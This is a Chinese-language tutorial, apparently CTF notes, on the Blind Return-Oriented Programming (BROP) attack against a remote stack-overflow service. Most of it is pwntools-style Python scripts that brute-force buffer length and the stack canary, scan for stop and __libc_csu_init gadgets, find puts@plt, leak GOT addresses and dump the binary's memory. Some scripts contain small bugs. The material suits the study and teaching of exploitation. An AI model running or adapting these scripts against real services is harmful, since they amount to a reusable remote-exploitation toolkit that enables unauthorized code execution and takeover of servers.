BROP_轮子
总体思想:爆破buf长度-----爆破canary-----find stop_gadgets-----find brop_gadget-----find puts()/write()-----泄露函数的got地址得到libc-----编写ROP
- 将 socket 输出重定向到输入输出
- 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
- 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。
一般最终事执行Write()或者 puts()函数来Dump内存。
pop rdi; ret # socket ##find from __libc_csu_init
pop rsi; ret # buffer ##find from __libc_csu_init
pop rdx; ret # length ##find from strcmp() or __libc_csu_init !!!!
pop rax; ret # write syscall number
syscall
但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取(在plt)。
判断栈溢出长度
def leakbuff_length(): i=1 while 1: try: p=remote('0.0.0.0',9999) p.recvuntil('password?\n') p.sendline('A'*i) msg=p.recv() p.close() if 'password' in msg: i = i+1 continue except EOFError: p.close() print i-1 break
单字节爆破Canary
def boomcanary(): step=1 buf='A'*72 canary_sing=0x00 while 1: try: p=remote('0.0.0.0',9999) p.recvuntil('password?\n') p.sendline(buf+chr(canary_sing)) msg=recv() p.close() if step == 4: break else: buf=buf+str(canary_sing) canary_sing=0x00 step=step+1 except EOFError: p.close() canary_sing=canary_sing+1
Find Gadgets
前提,程序必须PIE关闭,所以我们从0X400000开始爆破Gadgets.
Find stop gadgets
所谓stop gadgets就是寻找一个不让程序奔溃的地址,这样我们我们就可以通过这个stop地址找到有用的其他gadgets
stop gadget只是为了寻找其他有用的Gadgets,因为我们可以让寻找的gadget 的ret为我们的stop gadgets 那么程序就不会奔溃。!
注意:一般好寻找的是main() 和sleep()函数,因为前者可以打印信息,后者可以hook程序但是不中断。
def Get_Stop_Gadgets(length): addr=0x4000000 while 1: try: p=remote('0.0.0.0',9999) p.recvuntil("password?\n") p.sendline('A'*length+p64(addr)) p.recv() p.close() print "The address is %x"%addr break except Exception: addr=addr+1 p.close()
BROP gadgets
这里是寻找libc_csu_init的结尾一长串的 gadgets
但是也可以寻找其他的brop_gadgets:
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
def Get_Brop_Gadget(length,stop_gadgets): brop_addr=stop_gadgets-1 while 1: try: p=remote('0.0.0.0',9999) p.recvuntil("password?\n") payload='A'*length+p64(brop_addr)+p64(0)*6+p64(stop_gadgets) p.sendline(payload) p.recv() p.close() print "We find the csu_brop_addr%x"%brop_addr break except Exception: #p.close() brop_addr=brop_addr-1 def Check_Brop_Gadgets(length,brop_addr): payload='A'*length+p64(brop_addr)+p64(1)*10 p=remote('0.0.0.0',9999) p.recvuntil("password?\n") try: p.sendline() p.recv() p.close() print "This addr %x not brop"%brop_addr except Exception: print "This addr is Brop" p.close()
一般如果我们找到了BROP,我们会去验证一下,验证方法是将我们的stop_gadgets替换为一个非法地址,这样程序ret 到一个非法地址就会奔溃。
寻找输出函数:write/puts
目的:寻找输出函数是为了泄露Libc地址
寻找puts@plt
我们自然需要控制 rdi 参数,在上面,我们已经找到了 brop gadget。那么,我们根据 brop gadget 偏移 9 可以得到相应的 gadgets(见博客)。同时在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。所以我们可以根据这个来进行判断。一般来说,其 payload 如下:
payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
def Get_Put_addr(length,pop_rdi_ret,stop_gadget): put_addr=0x400000 while 1: print hex(put_addr) p=remote('0.0.0.0',9999) p.recvuntil("password?\n") payload='A'*length+p64(pop_rdi_ret)+p64(0x400000)+p64(put_addr)+p64(stop_gadget) p.sendline(payload) try: if 'ELF' in p.recv(): print "This addr is put" p.close() break except Exception: p.close() put_addr=put_addr+1
寻找 write@plt
当我们可以控制 write 函数的三个参数的时候,我们就可以再次遍历所有的 plt 表,根据 write 函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值
- 使用 rop chain,同时使得每个 rop 对应的文件描述符不一样
- 同时打开多个连接,并且我们使用相对较高的数值来试一试。
需要注意的是
- linux 默认情况下,一个进程最多只能打开 1024 个文件描述符。
- posix 标准每次申请的文件描述符数值总是当前最小可用数值。
当然,我们也可以选择寻找 puts 函数。
泄露GOT地址
def leak_got(length,pop_rdi_ret,puts_plt,leak_addr,stop_gadget): p=remote('0.0.0.0',9999) p.recvuntil("password?\n") payload='A'*length+p64(pop_rdi_ret)+p64(leak_addr)+p64(puts_plt)+p64(stop_gadget) p.sendline(payload) try: msg=p.recv() if 'Welcome' in msg: print "The put_got addr is %x"%(u64(msg[0:8])) p.close() except Exception: p.close() print "something wrong?"
通过打印GOT表
Dump程序
利用put函数从头开始打印函数,当然也可以指Dump-main函数之前的信息,这就包括了所有的plt表格
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): pop_rdi = gadgets_addr + 9 # pop rdi; ret result = "" while start_addr < end_addr: sleep(0.1) payload = "A"*buf_size payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(puts_plt) payload += p64(stop_addr) try: p = remote('0.0.0.0', 9999) p.recvline() p.sendline(payload) data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes if data == "\n": data = "\x00" elif data[-1] == "\n": data = data[:-1] #log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex'))) result += data start_addr += len(data) p.close() except: log.info("Can't connect") return result
puts 函数通过 \x00
进行截断,并且会在每一次输出末尾加上换行符 \x0a
,所以有一些特殊情况需要做一些处理,比如单独的 \x00
、\x0a
等,首先当然是先去掉末尾 puts 自动加上的 \n
,然后如果 recv 到一个 \n
,说明内存中是 \x00
,如果 recv 到一个 \n\n
,说明内存中是 \x0a
。p.recv(timeout=0.1)
是由于函数本身的设定,如果有 \n\n
,它很可能在收到第一个 \n
时就返回了,加上参数可以让它全部接收完。
番外篇
寻找 PLT
每一个 plt 表项都是 16 字节,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。
如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。
注::::找CMP函数方法:
1.plt遍历
2.利用 plt 表项的慢路径,并且利用下一个表项的慢路径的地址来覆盖返回地址。
控制RDX
注:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。
- readable,可读的地址。
- bad, 非法地址,不可访问,比如说 0x0。
那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况
- strcmp(bad,bad)
- strcmp(bad,readable)
- strcmp(readable,bad)
- strcmp(readable,readable)
只有最后一种格式,程序才会正常执行。